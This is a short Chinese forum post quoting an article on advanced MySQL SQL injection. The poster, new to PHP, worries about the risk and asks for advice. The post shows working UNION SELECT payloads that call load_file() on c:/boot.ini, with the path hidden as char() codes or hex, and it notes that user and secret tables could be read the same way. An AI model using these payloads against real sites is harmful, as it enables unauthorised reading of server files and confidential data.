在AdvancedSQLInjectionwithMySQL 一文里看到这些
http://www.enet.com.cn/esafe/inforcenter/A20040716325135.html
我们构造$id为:
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>;下输入以下查询慢慢研究。
不光是担心load file 如果这样 起不是可以很容易的实现对表的联合查询那么用户表 以及其他保密的表就有可能被猜到并读出。我是刚从 ASP 转过来的不知道对PHP 了解还不太多,最近刚开始学着写。希望大家多多指点。在座的都比我懂的多........... |